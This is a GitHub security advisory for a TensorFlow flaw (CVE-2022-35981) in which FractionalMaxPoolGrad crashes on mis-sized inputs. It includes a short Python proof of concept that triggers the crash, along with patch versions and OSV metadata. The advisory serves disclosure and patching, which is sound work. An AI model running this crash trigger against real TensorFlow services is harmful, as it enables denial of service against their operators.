ghsa-vxv8-r8q2-63xw
Vulnerability from github
Impact
FractionalMaxPoolGrad validates its inputs with CHECK failures instead of with returning errors. If it gets incorrectly sized inputs, the CHECK failure can be used to trigger a denial of service attack:
```python
import tensorflow as tf
overlapping = True orig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) orig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) out_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32) row_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64) col_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64) tf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping) ```
Patches
We have patched the issue in GitHub commit 8741e57d163a079db05a7107a7609af70931def4.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
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"fixed": "2.7.2"
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{
"package": {
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"name": "tensorflow"
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"ranges": [
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{
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"name": "tensorflow"
},
"ranges": [
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{
"introduced": "2.9.0"
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{
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]
},
{
"package": {
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"name": "tensorflow-cpu"
},
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{
"package": {
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"name": "tensorflow-cpu"
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"ranges": [
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{
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{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
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"ranges": [
{
"events": [
{
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},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.8.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "tensorflow-gpu"
},
"ranges": [
{
"events": [
{
"introduced": "2.9.0"
},
{
"fixed": "2.9.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-35981"
],
"database_specific": {
"cwe_ids": [
"CWE-617"
],
"github_reviewed": true,
"github_reviewed_at": "2022-09-16T22:26:57Z",
"nvd_published_at": "2022-09-16T22:15:00Z",
"severity": "MODERATE"
},
"details": "### Impact\n`FractionalMaxPoolGrad` validates its inputs with `CHECK` failures instead of with returning errors. If it gets incorrectly sized inputs, the `CHECK` failure can be used to trigger a denial of service attack:\n```python\nimport tensorflow as tf\n\noverlapping = True\norig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)\norig_output = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)\nout_backprop = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf.float32)\nrow_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)\ncol_pooling_sequence = tf.constant(0, shape=[5], dtype=tf.int64)\ntf.raw_ops.FractionalMaxPoolGrad(orig_input=orig_input, orig_output=orig_output, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)\n```\n\n### Patches\nWe have patched the issue in GitHub commit [8741e57d163a079db05a7107a7609af70931def4](https://github.com/tensorflow/tensorflow/commit/8741e57d163a079db05a7107a7609af70931def4).\n\nThe fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.\n\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n\n### Attribution\nThis vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.",
"id": "GHSA-vxv8-r8q2-63xw",
"modified": "2022-09-19T19:33:04Z",
"published": "2022-09-16T22:26:57Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vxv8-r8q2-63xw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-35981"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/commit/8741e57d163a079db05a7107a7609af70931def4"
},
{
"type": "PACKAGE",
"url": "https://github.com/tensorflow/tensorflow"
},
{
"type": "WEB",
"url": "https://github.com/tensorflow/tensorflow/releases/tag/v2.10.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "TensorFlow vulnerable to `CHECK` fail in `FractionalMaxPoolGrad`"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.